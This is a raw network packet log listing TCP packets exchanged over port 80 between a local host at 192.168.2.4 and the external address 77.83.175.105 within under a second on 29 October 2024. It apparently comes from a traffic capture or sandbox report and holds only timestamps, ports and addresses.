Oct 29, 2024 04:17:02.072093964 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.072117090 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.072118044 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.072149992 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.072158098 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.072196960 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.072216988 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.072221994 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.072249889 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.072283030 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.072287083 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.072328091 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.072381973 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.072484970 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.072519064 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.072552919 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.072560072 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.072585106 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.072603941 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.072765112 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.072814941 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.072834015 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.072848082 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.072864056 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.072880983 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.072904110 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.072916985 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.072945118 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.072963953 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.073234081 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.073285103 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.073318005 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.073323965 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.073359013 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.073374033 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.073393106 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.073407888 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.073421955 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.073441982 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.073476076 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.073476076 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.073501110 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.073509932 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.073520899 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.073736906 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.074052095 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.074104071 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.074112892 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.074176073 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.074198961 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.074203968 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.074239016 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.074256897 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.118788004 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.118859053 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.118861914 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.118896961 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.118928909 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.118953943 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.118963003 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.118992090 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.118994951 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.119021893 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.119029999 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.119052887 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.119081020 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.160329103 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.160362959 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.160398960 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.160429955 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.160475016 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.189424992 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.189459085 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.189492941 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.189527035 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.189553022 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.189563036 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.189596891 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.189600945 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.189625025 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.189739943 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.189773083 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.189826965 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.189824104 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.189824104 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.189824104 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.189860106 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.189894915 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.189898968 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.189920902 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.189929008 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.189943075 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.189979076 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.189985991 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.190036058 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.190260887 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.190294027 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.190314054 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.190327883 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.190335989 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.190360069 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.190367937 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.190396070 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.190401077 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.190428972 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.190438032 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.190463066 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.190476894 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.190495014 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.190505981 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.190529108 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.190540075 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.190562010 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.190574884 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.190596104 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.190607071 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.190629959 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.190640926 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.190661907 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.190677881 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.190709114 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.235836029 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.235905886 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.235927105 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.235961914 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.235996008 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.236017942 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.236040115 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.236052036 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.236063957 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.236088037 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.236110926 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.236124039 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.236134052 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.236171961 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.276901007 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.276952028 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.276990891 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.277017117 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.277065039 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.305866957 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.305936098 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.305989981 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.305994987 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.306025028 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.306041002 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.306060076 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.306081057 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.306094885 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.306114912 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.306128979 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.306143045 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.306163073 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.306178093 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.306195974 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.306210995 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.306231976 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.306241035 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.306273937 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.306399107 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.306432962 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.306448936 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.306467056 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.306477070 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.306499958 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.306514978 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.306534052 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.306545973 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.306582928 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.306828022 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.306863070 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.306886911 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.306898117 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.306909084 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.306948900 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.306952000 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.306984901 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.306997061 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.307018995 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.307029009 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.307056904 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.307370901 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.307423115 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.307456970 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.307471991 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.307490110 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.307509899 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.307523966 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.307544947 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.307574034 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.352408886 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.352494955 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.352530956 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.352565050 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.352572918 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.352598906 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.352629900 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.352632999 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.352657080 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.352667093 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.352693081 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.352716923 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.352725029 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.355407000 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.393610001 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.393659115 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.393697023 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.393728018 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.393773079 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.422812939 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.422882080 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.422919035 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.422954082 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.422965050 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.422990084 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.423021078 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.423023939 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.423038960 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.423058033 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.423078060 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.423098087 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.423105001 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.423151016 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.423182964 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.423202991 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.423218012 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.423233986 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.423250914 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.423273087 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.423284054 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.423295975 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.423329115 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.423352003 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.423389912 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.423441887 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.423557997 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.423609018 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.423612118 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.423644066 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.423660040 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.423677921 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.423695087 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.423712969 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.423723936 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.423748970 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.423760891 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.423795938 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.424463987 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.424499035 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.424534082 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.424551964 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.424560070 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.424586058 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.424619913 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.424637079 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.424654961 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.424676895 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.424710035 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.469286919 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.469332933 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.469393015 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.469429016 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.469430923 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.469466925 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.469486952 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.469501019 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.469522953 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.469535112 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.469569921 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.469588041 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.469607115 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.469609022 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.469614029 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.469636917 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.469675064 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.469695091 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.510436058 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.510487080 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.510525942 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.510561943 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.510611057 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.539515018 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.539654016 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.539685965 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.539721966 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.539742947 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.539758921 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.539793015 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.539807081 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.539829016 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.539834976 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.539863110 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.539875984 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.539897919 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.539907932 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.539912939 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.539931059 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.539961100 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.539964914 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.539982080 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.540000916 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.540011883 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.540050983 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.540406942 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.540457964 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.540461063 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.540493011 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.540504932 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.540525913 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.540537119 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.540560007 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.540575981 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.540596962 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.540610075 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.540631056 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.540641069 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.540666103 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.540682077 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.540720940 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.541095972 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.541156054 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.541156054 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.541205883 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.541208029 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.541240931 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.541271925 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.541275024 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.541294098 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.541310072 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.541340113 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.541342974 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.541373968 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.541374922 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.541382074 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.541413069 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.541448116 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.541471958 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.541510105 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.586147070 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.586213112 CET	80	49730	77.83.175.105	192.168.2.4
